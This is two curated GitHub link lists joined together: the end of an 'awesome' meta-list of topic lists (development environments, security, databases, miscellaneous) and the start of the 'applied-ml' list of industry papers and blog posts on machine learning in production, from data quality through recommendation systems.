- [Unity](https://github.com/RyanNielson/awesome-unity) *(Game engine)*
- [Chess](https://github.com/hkirat/awesome-chess)
- [LÖVE](https://github.com/JanWerder/awesome-love2d) *(Game engine)*
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins)
- [Dev Env](https://github.com/jondot/awesome-devenv)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles)
- [Shell](https://github.com/alebcay/awesome-shell)
- [Command-Line Apps](https://github.com/aharris88/awesome-cli-apps)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins)
- [GitHub](https://github.com/phillipadsmith/awesome-github)
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet)
- [Git Cheat Sheet](https://github.com/arslanbilal/git-cheat-sheet)
- [Git Tips](https://github.com/git-tips/tips)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons)
- [SSH](https://github.com/moul/awesome-ssh)
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi) *(Scifi)*
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy)
- [Podcasts](https://github.com/guipdutra/awesome-geek-podcasts)
- [Email Newsletters](https://github.com/vredniy/awesome-newsletters)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb)
- [Neo4j](https://github.com/Neueda4j/awesome-neo4j)
- [Doctrine](https://github.com/TomasVotruba/awesome-doctrine) *(PHP ORM)*
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media)
- [Fonts](https://github.com/brabadu/awesome-fonts)
- [Codeface](https://github.com/chrissimpkins/codeface) *(Text editor fonts)*
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources)
- [GIF](https://github.com/ibaaj/awesome-gif)
- [Music](https://github.com/ciconia/awesome-music)
## Learn
- [CLI Workshoppers/Adventures](https://github.com/therebelrobot/awesome-workshopper)
- [Learn to Program](https://github.com/karlhorky/learn-to-program)
- [Speaking](https://github.com/matteofigus/awesome-speaking)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning)
- [Computer History](https://github.com/watson/awesome-computer-history)
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec)
- [Security](https://github.com/sbilly/awesome-security)
- [CTF](https://github.com/apsdehal/awesome-ctf) *(Capture the Flag)*
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis)
- [Android Security](https://github.com/ashishb/android-security-awesome)
- [Hacking](https://github.com/carpedm20/awesome-hacking)
- [Honeypots](https://github.com/paralax/awesome-honeypots)
- [Incident Response](https://github.com/meirwah/awesome-incident-response)
## Content Management System
- [Umbraco](https://github.com/leekelleher/awesome-umbraco)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms)
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json)
- [Discounts for Student Developers](https://github.com/najela/discount-for-student-dev)
- [Slack](https://github.com/matiassingers/awesome-slack)
- [Communities](https://github.com/filipelinhares/awesome-slack)
- [Conferences](https://github.com/RichardLitt/awesome-conferences)
- [GeoJSON](https://github.com/tmcw/awesome-geojson)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin)
- [Radio](https://github.com/kyleterry/awesome-radio)
- [Awesome](https://github.com/sindresorhus/awesome)
- [Analytics](https://github.com/onurakpolat/awesome-analytics)
- [FOSS for Developers](https://github.com/httpsGithubParty/FOSS-for-Dev)
- [Open Companies](https://github.com/opencompany/awesome-open-company)
- [REST](https://github.com/marmelab/awesome-rest)
- [Selenium](https://github.com/christian-bromann/awesome-selenium)
- [Endangered Languages](https://github.com/RichardLitt/endangered-languages)
- [Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd)
- [Services Engineering](https://github.com/mmcgrana/services-engineering)
- [Free for Developers](https://github.com/ripienaar/free-for-dev)
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin/)
- [Answers](https://github.com/jugoncalves/awesome-answers) *(Stack Overflow, Quora, etc)*
- [Sketch](https://github.com/diessica/awesome-sketch) *(OS X app)*
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup)
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules) *(for npm packages)*
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job)
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates)
- [Mad Science Modules](https://github.com/feross/awesome-mad-science)
- [Readme](https://github.com/matiassingers/awesome-readme)
- [Tools](https://github.com/cjbarber/ToolsOfTheTrade)
- [Styleguides](https://github.com/RichardLitt/awesome-styleguides)
- [Design and Development Guides](https://github.com/NARKOZ/guides)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted)
- [FOSS Production Apps](https://github.com/jwaterfaucett/awesome-foss-apps)
- [Gulp](https://github.com/alferov/awesome-gulp)
- [AMA](https://github.com/sindresorhus/amas) *(Ask Me Anything)*
- [Answers](https://github.com/stoeffel/awesome-ama-answers)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography/)
- [OpenGL](https://github.com/eug/awesome-opengl)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity)
- [GraphQL](https://github.com/chentsulin/awesome-graphql)
- [Transit](https://github.com/luqmaan/awesome-transit)
- [Research Tools](https://github.com/emptymalei/awesome-research)
- [Niche Job Boards](https://github.com/wfhio/awesome-job-boards)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz)
- [Social Media Share Links](https://github.com/vinkla/share-links)
- [JSON Datasets](https://github.com/jdorfman/awesome-json-datasets)
- [Microservices](https://github.com/mfornos/awesome-microservices)
- [Unicode Code Points](https://github.com/Codepoints/awesome-codepoints)
- [Internet of Things](https://github.com/HQarroum/awesome-iot)
- [Open Source Documents](https://github.com/nacyot/awesome-opensource-documents)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners)
- [Bluetooth Beacons](https://github.com/beaconinside/awesome-beacon)
- [Spanish Natural Language Processing (NLP)](https://github.com/dav009/awesome-spanish-nlp)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interviews)
- [Ripple](https://github.com/vhpoet/awesome-ripple) *(Open-source distributed settlement network)*
- [Katas](https://github.com/gmontalvoriv/awesome-katas)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism)
- [TAP](https://github.com/sindresorhus/awesome-tap) *(Test Anything Protocol)*
- [Robotics](https://github.com/Kiloreux/awesome-robotics)
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt) *(an "Internet of Things" connectivity protocol)*
- [Hacking Spots](https://github.com/diasdavid/awesome-hacking-spots)
- [For Girls](https://github.com/cristianoliveira/awesome4girls)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal) *(Node.js CLI framework)*
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr) *(Goal setting & communication best practices)*
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Sindre Sorhus](http://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.
|
# applied-ml
Curated papers, articles, and blogs on **data science & machine learning in production**. ⚙️
[](./CONTRIBUTING.md) [](https://twitter.com/eugeneyan/status/1350509546133811200) 
Figuring out how to implement your ML project? Learn how other organizations did it:
- **How** the problem is framed 🔎(e.g., personalization as recsys vs. search vs. sequences)
- **What** machine learning techniques worked ✅ (and sometimes, what didn't ❌)
- **Why** it works, the science behind it with research, literature, and references 📂
- **What** real-world results were achieved (so you can better assess ROI ⏰💰📈)
P.S., Want a summary of ML advancements? 👉[`ml-surveys`](https://github.com/eugeneyan/ml-surveys)
P.P.S, Looking for guides and interviews on applying ML? 👉[`applyingML`](https://applyingml.com)
**Table of Contents**
1. [Data Quality](#data-quality)
2. [Data Engineering](#data-engineering)
3. [Data Discovery](#data-discovery)
4. [Feature Stores](#feature-stores)
5. [Classification](#classification)
6. [Regression](#regression)
7. [Forecasting](#forecasting)
8. [Recommendation](#recommendation)
9. [Search & Ranking](#search--ranking)
10. [Embeddings](#embeddings)
11. [Natural Language Processing](#natural-language-processing)
12. [Sequence Modelling](#sequence-modelling)
13. [Computer Vision](#computer-vision)
14. [Reinforcement Learning](#reinforcement-learning)
15. [Anomaly Detection](#anomaly-detection)
16. [Graph](#graph)
17. [Optimization](#optimization)
18. [Information Extraction](#information-extraction)
19. [Weak Supervision](#weak-supervision)
20. [Generation](#generation)
21. [Audio](#audio)
22. [Privacy-Preserving Machine Learning](#privacy-preserving-machine-learning)
23. [Validation and A/B Testing](#validation-and-ab-testing)
24. [Model Management](#model-management)
25. [Efficiency](#efficiency)
26. [Ethics](#ethics)
27. [Infra](#infra)
28. [MLOps Platforms](#mlops-platforms)
29. [Practices](#practices)
30. [Team Structure](#team-structure)
31. [Fails](#fails)
## Data Quality
1. [Reliable and Scalable Data Ingestion at Airbnb](https://www.slideshare.net/HadoopSummit/reliable-and-scalable-data-ingestion-at-airbnb-63920989) `Airbnb` `2016`
2. [Monitoring Data Quality at Scale with Statistical Modeling](https://eng.uber.com/monitoring-data-quality-at-scale/) `Uber` `2017`
3. [Data Management Challenges in Production Machine Learning](https://research.google/pubs/pub46178/) ([Paper](https://thodrek.github.io/CS839_spring18/papers/p1723-polyzotis.pdf)) `Google` `2017`
4. [Automating Large-Scale Data Quality Verification](https://www.amazon.science/publications/automating-large-scale-data-quality-verification) ([Paper](https://assets.amazon.science/a6/88/ad858ee240c38c6e9dce128250c0/automating-large-scale-data-quality-verification.pdf))`Amazon` `2018`
5. [Meet Hodor — Gojek’s Upstream Data Quality Tool](https://www.gojek.io/blog/meet-hodor-gojeks-upstream-data-quality-tool) `Gojek` `2019`
6. [Data Validation for Machine Learning](https://research.google/pubs/pub47967/) ([Paper](https://mlsys.org/Conferences/2019/doc/2019/167.pdf)) `Google` `2019`
6. [An Approach to Data Quality for Netflix Personalization Systems](https://www.youtube.com/watch?v=t7vHpA39TXM) `Netflix` `2020`
7. [Improving Accuracy By Certainty Estimation of Human Decisions, Labels, and Raters](https://research.fb.com/blog/2020/08/improving-the-accuracy-of-community-standards-enforcement-by-certainty-estimation-of-human-decisions/) ([Paper](https://research.fb.com/wp-content/uploads/2020/08/CLARA-Confidence-of-Labels-and-Raters.pdf)) `Facebook` `2020`
## Data Engineering
1. [Zipline: Airbnb’s Machine Learning Data Management Platform](https://databricks.com/session/zipline-airbnbs-machine-learning-data-management-platform) `Airbnb` `2018`
2. [Sputnik: Airbnb’s Apache Spark Framework for Data Engineering](https://databricks.com/session_na20/sputnik-airbnbs-apache-spark-framework-for-data-engineering) `Airbnb` `2020`
3. [Unbundling Data Science Workflows with Metaflow and AWS Step Functions](https://netflixtechblog.com/unbundling-data-science-workflows-with-metaflow-and-aws-step-functions-d454780c6280) `Netflix` `2020`
4. [How DoorDash is Scaling its Data Platform to Delight Customers and Meet Growing Demand](https://doordash.engineering/2020/09/25/how-doordash-is-scaling-its-data-platform/) `DoorDash` `2020`
5. [Revolutionizing Money Movements at Scale with Strong Data Consistency](https://eng.uber.com/money-scale-strong-data/) `Uber` `2020`
6. [Zipline - A Declarative Feature Engineering Framework](https://www.youtube.com/watch?v=LjcKCm0G_OY) `Airbnb` `2020`
7. [Automating Data Protection at Scale, Part 1](https://medium.com/airbnb-engineering/automating-data-protection-at-scale-part-1-c74909328e08) ([Part 2](https://medium.com/airbnb-engineering/automating-data-protection-at-scale-part-2-c2b8d2068216)) `Airbnb` `2021`
8. [Real-time Data Infrastructure at Uber](https://arxiv.org/pdf/2104.00087.pdf) `Uber` `2021`
9. [Introducing Fabricator: A Declarative Feature Engineering Framework](https://doordash.engineering/2022/01/11/introducing-fabricator-a-declarative-feature-engineering-framework/) `DoorDash` `2022`
10. [Functions & DAGs: introducing Hamilton, a microframework for dataframe generation](https://multithreaded.stitchfix.com/blog/2021/10/14/functions-dags-hamilton/) `Stitch Fix` `2021`
11. [Optimizing Pinterest’s Data Ingestion Stack: Findings and Learnings](https://medium.com/@Pinterest_Engineering/optimizing-pinterests-data-ingestion-stack-findings-and-learnings-994fddb063bf) `Pinterest` `2022`
12. [Lessons Learned From Running Apache Airflow at Scale](https://shopifyengineering.myshopify.com/blogs/engineering/lessons-learned-apache-airflow-scale) `Shopify` `2022`
13. [Understanding Data Storage and Ingestion for Large-Scale Deep Recommendation Model Training](https://arxiv.org/abs/2108.09373v4) `Meta` `2022`
14. [Data Mesh — A Data Movement and Processing Platform @ Netflix](https://netflixtechblog.com/data-mesh-a-data-movement-and-processing-platform-netflix-1288bcab2873) `Netflix` `2022`
15. [Building Scalable Real Time Event Processing with Kafka and Flink](https://doordash.engineering/2022/08/02/building-scalable-real-time-event-processing-with-kafka-and-flink/) `DoorDash` `2022`
## Data Discovery
1. [Apache Atlas: Data Goverance and Metadata Framework for Hadoop](https://atlas.apache.org/#/) ([Code](https://github.com/apache/atlas)) `Apache`
2. [Collect, Aggregate, and Visualize a Data Ecosystem's Metadata](https://marquezproject.github.io/marquez/) ([Code](https://github.com/MarquezProject/marquez)) `WeWork`
3. [Discovery and Consumption of Analytics Data at Twitter](https://blog.twitter.com/engineering/en_us/topics/insights/2016/discovery-and-consumption-of-analytics-data-at-twitter.html) `Twitter` `2016`
4. [Democratizing Data at Airbnb](https://medium.com/airbnb-engineering/democratizing-data-at-airbnb-852d76c51770) `Airbnb` `2017`
5. [Databook: Turning Big Data into Knowledge with Metadata at Uber](https://eng.uber.com/databook/) `Uber` `2018`
6. [Metacat: Making Big Data Discoverable and Meaningful at Netflix](https://netflixtechblog.com/metacat-making-big-data-discoverable-and-meaningful-at-netflix-56fb36a53520) ([Code](https://github.com/Netflix/metacat)) `Netflix` `2018`
7. [Amundsen — Lyft’s Data Discovery & Metadata Engine](https://eng.lyft.com/amundsen-lyfts-data-discovery-metadata-engine-62d27254fbb9) `Lyft` `2019`
8. [Open Sourcing Amundsen: A Data Discovery And Metadata Platform](https://eng.lyft.com/open-sourcing-amundsen-a-data-discovery-and-metadata-platform-2282bb436234) ([Code](https://github.com/lyft/amundsen)) `Lyft` `2019`
9. [DataHub: A Generalized Metadata Search & Discovery Tool](https://engineering.linkedin.com/blog/2019/data-hub) ([Code](https://github.com/linkedin/datahub)) `LinkedIn` `2019`
10. [Amundsen: One Year Later](https://eng.lyft.com/amundsen-1-year-later-7b60bf28602) `Lyft` `2020`
11. [Using Amundsen to Support User Privacy via Metadata Collection at Square](https://developer.squareup.com/blog/using-amundsen-to-support-user-privacy-via-metadata-collection-at-square/) `Square` `2020`
12. [Turning Metadata Into Insights with Databook](https://eng.uber.com/metadata-insights-databook/) `Uber` `2020`
13. [DataHub: Popular Metadata Architectures Explained](https://engineering.linkedin.com/blog/2020/datahub-popular-metadata-architectures-explained) `LinkedIn` `2020`
14. [How We Improved Data Discovery for Data Scientists at Spotify](https://engineering.atspotify.com/2020/02/27/how-we-improved-data-discovery-for-data-scientists-at-spotify/) `Spotify` `2020`
15. [How We’re Solving Data Discovery Challenges at Shopify](https://engineering.shopify.com/blogs/engineering/solving-data-discovery-challenges-shopify) `Shopify` `2020`
16. [Nemo: Data discovery at Facebook](https://engineering.fb.com/data-infrastructure/nemo/) `Facebook` `2020`
17. [Exploring Data @ Netflix](https://netflixtechblog.com/exploring-data-netflix-9d87e20072e3) ([Code](https://github.com/Netflix/nf-data-explorer)) `Netflix` `2021`
## Feature Stores
1. [Distributed Time Travel for Feature Generation](https://netflixtechblog.com/distributed-time-travel-for-feature-generation-389cccdd3907) `Netflix` `2016`
2. [Building the Activity Graph, Part 2 (Feature Storage Section)](https://engineering.linkedin.com/blog/2017/07/building-the-activity-graph--part-2) `LinkedIn` `2017`
3. [Fact Store at Scale for Netflix Recommendations](https://databricks.com/session/fact-store-scale-for-netflix-recommendations) `Netflix` `2018`
4. [Zipline: Airbnb’s Machine Learning Data Management Platform](https://databricks.com/session/zipline-airbnbs-machine-learning-data-management-platform) `Airbnb` `2018`
5. [Feature Store: The missing data layer for Machine Learning pipelines?](https://www.hopsworks.ai/post/feature-store-the-missing-data-layer-in-ml-pipelines) `Hopsworks` `2018`
6. [Introducing Feast: An Open Source Feature Store for Machine Learning](https://cloud.google.com/blog/products/ai-machine-learning/introducing-feast-an-open-source-feature-store-for-machine-learning) ([Code](https://github.com/feast-dev/feast)) `Gojek` `2019`
7. [Michelangelo Palette: A Feature Engineering Platform at Uber](https://www.infoq.com/presentations/michelangelo-palette-uber/) `Uber` `2019`
8. [The Architecture That Powers Twitter's Feature Store](https://www.youtube.com/watch?v=UNailXoiIrY) `Twitter` `2019`
9. [Accelerating Machine Learning with the Feature Store Service](https://technology.condenast.com/story/accelerating-machine-learning-with-the-feature-store-service) `Condé Nast` `2019`
10. [Feast: Bridging ML Models and Data](https://www.gojek.io/blog/feast-bridging-ml-models-and-data) `Gojek` `2020`
11. [Building a Scalable ML Feature Store with Redis, Binary Serialization, and Compression](https://doordash.engineering/2020/11/19/building-a-gigascale-ml-feature-store-with-redis/) `DoorDash` `2020`
12. [Rapid Experimentation Through Standardization: Typed AI features for LinkedIn’s Feed](https://engineering.linkedin.com/blog/2020/feed-typed-ai-features) `LinkedIn` `2020`
13. [Building a Feature Store](https://nlathia.github.io/2020/12/Building-a-feature-store.html) `Monzo Bank` `2020`
14. [Butterfree: A Spark-based Framework for Feature Store Building](https://medium.com/quintoandar-tech-blog/butterfree-a-spark-based-framework-for-feature-store-building-48c3640522c7) ([Code](https://github.com/quintoandar/butterfree)) `QuintoAndar` `2020`
15. [Building Riviera: A Declarative Real-Time Feature Engineering Framework](https://doordash.engineering/2021/03/04/building-a-declarative-real-time-feature-engineering-framework/) `DoorDash` `2021`
16. [Optimal Feature Discovery: Better, Leaner Machine Learning Models Through Information Theory](https://eng.uber.com/optimal-feature-discovery-ml/) `Uber` `2021`
17. [ML Feature Serving Infrastructure at Lyft](https://eng.lyft.com/ml-feature-serving-infrastructure-at-lyft-d30bf2d3c32a) `Lyft` `2021`
18. [Near real-time features for near real-time personalization](https://engineering.linkedin.com/blog/2022/near-real-time-features-for-near-real-time-personalization) `LinkedIn` `2022`
19. [Building the Model Behind DoorDash’s Expansive Merchant Selection](https://doordash.engineering/2022/04/19/building-merchant-selection/) `DoorDash` `2022`
20. [Open sourcing Feathr – LinkedIn’s feature store for productive machine learning](https://engineering.linkedin.com/blog/2022/open-sourcing-feathr---linkedin-s-feature-store-for-productive-m) `LinkedIn` `2022`
21. [Evolution of ML Fact Store](https://netflixtechblog.com/evolution-of-ml-fact-store-5941d3231762) `Netflix` `2022`
22. [Developing scalable feature engineering DAGs](https://outerbounds.com/blog/developing-scalable-feature-engineering-dags) `Metaflow + Hamilton` via `Outerbounds` `2022`
23. [Feature Store Design at Constructor](https://medium.com/constructor-engineering/feature-store-design-at-constructor-330b65f64b18) `Constructor.io` `2023`
## Classification
1. [Prediction of Advertiser Churn for Google AdWords](https://research.google/pubs/pub36678/) ([Paper](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/36678.pdf)) `Google` `2010`
2. [High-Precision Phrase-Based Document Classification on a Modern Scale](https://engineering.linkedin.com/research/2011/high-precision-phrase-based-document-classification-on-a-modern-scale) ([Paper](http://web.stanford.edu/~gavish/documents/phrase_based.pdf)) `LinkedIn` `2011`
3. [Chimera: Large-scale Classification using Machine Learning, Rules, and Crowdsourcing](https://dl.acm.org/doi/10.14778/2733004.2733024) ([Paper](http://pages.cs.wisc.edu/%7Eanhai/papers/chimera-vldb14.pdf)) `Walmart` `2014`
4. [Large-scale Item Categorization in e-Commerce Using Multiple Recurrent Neural Networks](https://www.kdd.org/kdd2016/subtopic/view/large-scale-item-categorization-in-e-commerce-using-multiple-recurrent-neur/) ([Paper](https://www.kdd.org/kdd2016/papers/files/adf0392-haAemb.pdf)) `NAVER` `2016`
5. [Learning to Diagnose with LSTM Recurrent Neural Networks](https://arxiv.org/abs/1511.03677) ([Paper](https://arxiv.org/pdf/1511.03677.pdf)) `Google` `2017`
6. [Discovering and Classifying In-app Message Intent at Airbnb](https://medium.com/airbnb-engineering/discovering-and-classifying-in-app-message-intent-at-airbnb-6a55f5400a0c) `Airbnb` `2019`
7. [Teaching Machines to Triage Firefox Bugs](https://hacks.mozilla.org/2019/04/teaching-machines-to-triage-firefox-bugs/) `Mozilla` `2019`
8. [Categorizing Products at Scale](https://engineering.shopify.com/blogs/engineering/categorizing-products-at-scale) `Shopify` `2020`
9. [How We Built the Good First Issues Feature](https://github.blog/2020-01-22-how-we-built-good-first-issues/) `GitHub` `2020`
10. [Testing Firefox More Efficiently with Machine Learning](https://hacks.mozilla.org/2020/07/testing-firefox-more-efficiently-with-machine-learning/) `Mozilla` `2020`
11. [Using ML to Subtype Patients Receiving Digital Mental Health Interventions](https://www.microsoft.com/en-us/research/blog/a-path-to-personalization-using-ml-to-subtype-patients-receiving-digital-mental-health-interventions/) ([Paper](https://jamanetwork.com/journals/jamanetworkopen/fullarticle/2768347)) `Microsoft` `2020`
12. [Scalable Data Classification for Security and Privacy](https://engineering.fb.com/security/data-classification-system/) ([Paper](https://arxiv.org/pdf/2006.14109.pdf)) `Facebook` `2020`
13. [Uncovering Online Delivery Menu Best Practices with Machine Learning](https://doordash.engineering/2020/11/10/uncovering-online-delivery-menu-best-practices-with-machine-learning/) `DoorDash` `2020`
14. [Using a Human-in-the-Loop to Overcome the Cold Start Problem in Menu Item Tagging](https://doordash.engineering/2020/08/28/overcome-the-cold-start-problem-in-menu-item-tagging/) `DoorDash` `2020`
15. [Deep Learning: Product Categorization and Shelving](https://medium.com/walmartglobaltech/deep-learning-product-categorization-and-shelving-630571e81e96) `Walmart` `2021`
16. [Large-scale Item Categorization for e-Commerce](https://dl.acm.org/doi/10.1145/2396761.2396838) ([Paper](https://www.researchgate.net/profile/Jean_David_Ruvini/publication/262270957_Large-scale_item_categorization_for_e-commerce/links/5512dc3d0cf270fd7e33a0d5/Large-scale-item-categorization-for-e-commerce.pdf)) `DianPing`, `eBay` `2012`
17. [Semantic Label Representation with an Application on Multimodal Product Categorization](https://medium.com/walmartglobaltech/semantic-label-representation-with-an-application-on-multimodal-product-categorization-63d668b943b7) `Walmart` `2022`
18. [Building Airbnb Categories with ML and Human-in-the-Loop](https://medium.com/airbnb-engineering/building-airbnb-categories-with-ml-and-human-in-the-loop-e97988e70ebb) `Airbnb` `2022`
## Regression
1. [Using Machine Learning to Predict Value of Homes On Airbnb](https://medium.com/airbnb-engineering/using-machine-learning-to-predict-value-of-homes-on-airbnb-9272d3d4739d) `Airbnb` `2017`
2. [Using Machine Learning to Predict the Value of Ad Requests](https://blog.twitter.com/engineering/en_us/topics/insights/2020/using-machine-learning-to-predict-the-value-of-ad-requests.html) `Twitter` `2020`
3. [Open-Sourcing Riskquant, a Library for Quantifying Risk](https://netflixtechblog.com/open-sourcing-riskquant-a-library-for-quantifying-risk-6720cc1e4968) ([Code](https://github.com/Netflix-Skunkworks/riskquant)) `Netflix` `2020`
4. [Solving for Unobserved Data in a Regression Model Using a Simple Data Adjustment](https://doordash.engineering/2020/10/14/solving-for-unobserved-data-in-a-regression-model/) `DoorDash` `2020`
## Forecasting
1. [Engineering Extreme Event Forecasting at Uber with RNN](https://eng.uber.com/neural-networks/) `Uber` `2017`
2. [Forecasting at Uber: An Introduction](https://eng.uber.com/forecasting-introduction/) `Uber` `2018`
3. [Transforming Financial Forecasting with Data Science and Machine Learning at Uber](https://eng.uber.com/transforming-financial-forecasting-machine-learning/) `Uber` `2018`
4. [Under the Hood of Gojek’s Automated Forecasting Tool](https://www.gojek.io/blog/under-the-hood-of-gojeks-automated-forecasting-tool) `Gojek` `2019`
5. [BusTr: Predicting Bus Travel Times from Real-Time Traffic](https://dl.acm.org/doi/abs/10.1145/3394486.3403376) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3394486.3403376), [Video](https://crossminds.ai/video/5f3369790576dd25aef288db/)) `Google` `2020`
6. [Retraining Machine Learning Models in the Wake of COVID-19](https://doordash.engineering/2020/09/15/retraining-ml-models-covid-19/) `DoorDash` `2020`
7. [Automatic Forecasting using Prophet, Databricks, Delta Lake and MLflow](https://www.youtube.com/watch?v=TkcpjnLh690) ([Paper](https://peerj.com/preprints/3190.pdf), [Code](https://github.com/facebook/prophet)) `Atlassian` `2020`
8. [Introducing Orbit, An Open Source Package for Time Series Inference and Forecasting](https://eng.uber.com/orbit/) ([Paper](https://arxiv.org/abs/2004.08492), [Video](https://youtu.be/LXDpq_iwcWY), [Code](https://github.com/uber/orbit)) `Uber` `2021`
9. [Managing Supply and Demand Balance Through Machine Learning](https://doordash.engineering/2021/06/29/managing-supply-and-demand-balance-through-machine-learning/) `DoorDash` `2021`
10. [Greykite: A flexible, intuitive, and fast forecasting library](https://engineering.linkedin.com/blog/2021/greykite--a-flexible--intuitive--and-fast-forecasting-library) `LinkedIn` `2021`
11. [The history of Amazon’s forecasting algorithm](https://www.amazon.science/latest-news/the-history-of-amazons-forecasting-algorithm) `Amazon` `2021`
11. [DeepETA: How Uber Predicts Arrival Times Using Deep Learning](https://eng.uber.com/deepeta-how-uber-predicts-arrival-times/) `Uber` `2022`
12. [Forecasting Grubhub Order Volume At Scale](https://bytes.grubhub.com/forecasting-grubhub-order-volume-at-scale-a966c2f901d2) `Grubhub` `2022`
13. [Causal Forecasting at Lyft (Part 1)](https://eng.lyft.com/causal-forecasting-at-lyft-part-1-14cca6ff3d6d) `Lyft` `2022`
## Recommendation
1. [Amazon.com Recommendations: Item-to-Item Collaborative Filtering](https://ieeexplore.ieee.org/document/1167344) ([Paper](https://www.cs.umd.edu/~samir/498/Amazon-Recommendations.pdf)) `Amazon` `2003`
2. [Netflix Recommendations: Beyond the 5 stars (Part 1](https://netflixtechblog.com/netflix-recommendations-beyond-the-5-stars-part-1-55838468f429) ([Part 2](https://netflixtechblog.com/netflix-recommendations-beyond-the-5-stars-part-2-d9b96aa399f5)) `Netflix` `2012`
3. [How Music Recommendation Works — And Doesn’t Work](https://notes.variogram.com/2012/12/11/how-music-recommendation-works-and-doesnt-work/) `Spotify` `2012`
4. [Learning to Rank Recommendations with the k -Order Statistic Loss](https://dl.acm.org/doi/10.1145/2507157.2507210) ([Paper](https://dl.acm.org/doi/pdf/10.1145/2507157.2507210)) `Google` `2013`
5. [Recommending Music on Spotify with Deep Learning](https://benanne.github.io/2014/08/05/spotify-cnns.html) `Spotify` `2014`
6. [Learning a Personalized Homepage](https://netflixtechblog.com/learning-a-personalized-homepage-aa8ec670359a) `Netflix` `2015`
7. [The Netflix Recommender System: Algorithms, Business Value, and Innovation](https://dl.acm.org/doi/10.1145/2843948) ([Paper](https://dl.acm.org/doi/pdf/10.1145/2843948)) `Netflix` `2015`
7. [Session-based Recommendations with Recurrent Neural Networks](https://arxiv.org/abs/1511.06939) ([Paper](https://arxiv.org/pdf/1511.06939.pdf)) `Telefonica` `2016`
8. [Deep Neural Networks for YouTube Recommendations](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45530.pdf) `YouTube` `2016`
9. [E-commerce in Your Inbox: Product Recommendations at Scale](https://arxiv.org/abs/1606.07154) ([Paper](https://arxiv.org/pdf/1606.07154.pdf)) `Yahoo` `2016`
10. [To Be Continued: Helping you find shows to continue watching on Netflix](https://netflixtechblog.com/to-be-continued-helping-you-find-shows-to-continue-watching-on-7c0d8ee4dab6) `Netflix` `2016`
11. [Personalized Recommendations in LinkedIn Learning](https://engineering.linkedin.com/blog/2016/12/personalized-recommendations-in-linkedin-learning) `LinkedIn` `2016`
12. [Personalized Channel Recommendations in Slack](https://slack.engineering/personalized-channel-recommendations-in-slack/) `Slack` `2016`
13. [Recommending Complementary Products in E-Commerce Push Notifications](https://arxiv.org/abs/1707.08113) ([Paper](https://arxiv.org/pdf/1707.08113.pdf)) `Alibaba` `2017`
14. [Artwork Personalization at Netflix](https://netflixtechblog.com/artwork-personalization-c589f074ad76) `Netflix` `2017`
15. [A Meta-Learning Perspective on Cold-Start Recommendations for Items](https://papers.nips.cc/paper/7266-a-meta-learning-perspective-on-cold-start-recommendations-for-items) ([Paper](https://papers.nips.cc/paper/7266-a-meta-learning-perspective-on-cold-start-recommendations-for-items.pdf)) `Twitter` `2017`
16. [Pixie: A System for Recommending 3+ Billion Items to 200+ Million Users in Real-Time](https://arxiv.org/abs/1711.07601) ([Paper](https://arxiv.org/pdf/1711.07601.pdf)) `Pinterest` `2017`
17. [Powering Search & Recommendations at DoorDash](https://doordash.news/company/powering-search-recommendations-at-doordash/) `DoorDash` `2017`
17. [How 20th Century Fox uses ML to predict a movie audience](https://cloud.google.com/blog/products/ai-machine-learning/how-20th-century-fox-uses-ml-to-predict-a-movie-audience) ([Paper](https://arxiv.org/abs/1810.08189)) `20th Century Fox` `2018`
18. [Calibrated Recommendations](https://dl.acm.org/doi/10.1145/3240323.3240372) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3240323.3240372)) `Netflix` `2018`
19. [Food Discovery with Uber Eats: Recommending for the Marketplace](https://eng.uber.com/uber-eats-recommending-marketplace/) `Uber` `2018`
20. [Explore, Exploit, and Explain: Personalizing Explainable Recommendations with Bandits](https://dl.acm.org/doi/10.1145/3240323.3240354) ([Paper](https://static1.squarespace.com/static/5ae0d0b48ab7227d232c2bea/t/5ba849e3c83025fa56814f45/1537755637453/BartRecSys.pdf)) `Spotify` `2018`
